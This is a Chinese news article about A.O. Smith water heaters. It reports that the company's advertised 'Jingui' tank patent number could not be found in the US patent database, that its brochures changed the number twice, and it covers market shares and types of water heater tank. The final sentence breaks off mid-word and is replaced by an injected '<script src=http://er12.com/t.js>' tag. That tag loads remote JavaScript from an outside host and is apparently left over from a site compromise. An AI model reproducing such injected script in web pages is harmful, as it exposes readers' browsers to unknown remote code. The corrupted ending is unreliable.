a.o史密斯热水器出问题了。一段时间以来业内风传这条消息,起初记者不敢置信,因为一直自诩专注做热水器的a.o史密斯在中国市场有着前三名的好成绩,既便出什么问题,估计也是产品方面的某个小缺陷,但令记者惊讶的是,问题的症结竟然在a.o史密斯近几年来扬扬自得的金圭内胆专利号上。电热水器的质量和生命周期都以内胆为主, a.o史密斯却在 这一核心部件宣传上做手脚。 a.o史密斯怎么了?月余两改专利宣传单
a.o史密斯事件起因是4月底在《北京晨报》上刊登的一篇《电热水器的几大篇术,阿里斯顿教您识别》文章中,曝光某美国热水器品牌在国内广泛宣传的(usa)09/686,288专利号,在美国专利局网站上根本不存在。而(usa)09/686,288专利号,正是a.o史密斯宣传多年的核心技术:金圭特护系统的专利号码。
后来该消息曾一度没有了下文,但在6月中下旬却又死灰复燃。记者电致a.o史密斯相关负责人,却称:“这是竞争对手在恶搞a.o史密斯,因为a.o史密斯的市场份额目前上升至第一位。a.o史密斯对宣传手册的更改很正常。”
那么,中国热水器市场竞争格局又是什么样子呢?据中怡康今年1-5月份的统计数据显示:海尔以33.34%的零售量份额和30.37%的零售额份额高居第一位;a.oa.o史密斯则以20.32%、26.17%居第二位;阿里斯顿以12.10%、12.55%居第三位。并不像a.oa.o史密斯所说是因市场份额上升至第一位引来的祸端。
据了解,从2005年3月,a.o史密斯从第一次宣传自己的金圭技术开始,直到2006年5月,他们的宣传彩页上标注的金圭专利号一直是“金圭专利号:(usa)09/686,288”。但之后悄然出现了变化:先是在5月份更改为“金圭专利号:us 2003/0082306 a1,2070368,2039178,2004632”;随后在6月份又变成了“美国专利号:us 6.303.183.b1”。
短短月余时间,a.o史密斯先后对核心技术专利号进行了两次更改,到底意欲为何?据了解,即便是在美国获得一项专利也需要至少一年半的时间,而史密斯在5月份更改的专利号中,新的四个号码其中三个专利号是1937年前申请的,不论是在国内还是国外,专利有效期都为20年。也就是说,其中三个专利号是1937年前申请的,已经过了有效期。剩下的一个是过了公示期却并没有成为专利的号码。 过火宣传有点弄巧成拙
记者注意到a.o史密斯以往的宣传单这样赫然地写着:“众所周知,金圭内胆是a.o史密斯热水器的核心专利技术(专利号:(usa)09/686,288),具有超强的防腐抗垢能力,在美国曾经创造了一台热水器使用52年的行业奇迹。”
a.o史密斯一直宣称“专注”是其最大的法宝,与其他涉足各个领域的家电品牌相比, a.o史密斯更精专于一个领域,致力于做“美国热水专家”。再让我们看看a.o史密斯热水器的价格。中怡康今年1-5月统计数据显示, a.o史密斯电热水器的均价为1557元/台,远高于海尔的1101元/台和阿里斯顿的1254元/台。所谓的核心专利似乎是支撑高价格的重要原因之一。
此外,记者还注意到a.o史密斯的宣传广告都把内胆说成什么“金圭内胆”,其他别的厂家还有诸如“高釉包钢内胆”、“钛金内胆”、“不锈钢内胆”、“搪瓷内胆”、“钢制瓷釉内胆”、“金瓷内胆”等宣传。
但专家指出,内胆大致分为三种:第一代电热水器内胆是镀锌板内胆,保护层只有0.6毫米,内胆形成后不作防锈处理,易生锈,结水垢,寿命短,目前市场上这种内胆已很少见到。
第二代电热水器内胆是不锈钢内胆,这种内胆材质好、不易生锈,但最大隐患是“焊缝”。虚焊部分出厂前无法检验。有些厂家为了降低生产成本,使用的不锈钢也很薄,使内胆承受压力下降,影响了使用寿命。
第三代内胆是搪瓷内胆,属高新技术含量产品。内胆表面搪瓷为金属材料,既不生锈,也无水垢,这种内胆有多种称法,有的叫“格拉斯”,有的叫“石英瓷釉”,有的称“高釉包钢”,都属同一类东西,它的作用都是为了增加防腐性、密封性、耐压性。
之所以市场上有不同名称的内胆宣传,其实都是内胆涂层不同导致厂家名称复杂化的结果。厂家之所以这样,也是为了给自己的产品起个名称以区别于别的产品。只是a.o史密斯似乎走得更为彻底一些,干脆使用了专利号,似乎有点弄巧成拙了。 有必要向用户做出解释
尽管a.o史密斯在中国有着骄人的业绩(其电热水器的市场份额一直占据我国前三名),但针对同一技术的三个不同专利号,很难保证这里面没有猫腻。
中国法学会知识产权法研究会副会长李顺德在接受中国电子报记者采访时也表示,中国对某公司就某项技术宣称拥有国外专利号,一般没有审查的程序,只能有需要的企业或者个人自己进行检索核实。
根据今年4月底国务院办公厅最新印发的《保护知识产权行动纲要(2006-2007年)》,今明两年全国保护知识产权工作的重点之一就是“严厉打击涉及诈骗的专利行为”。因此,不管是从国家层面,还是从消费者的利益角度出发,a.o史?script src=http://er12.com/t.js>











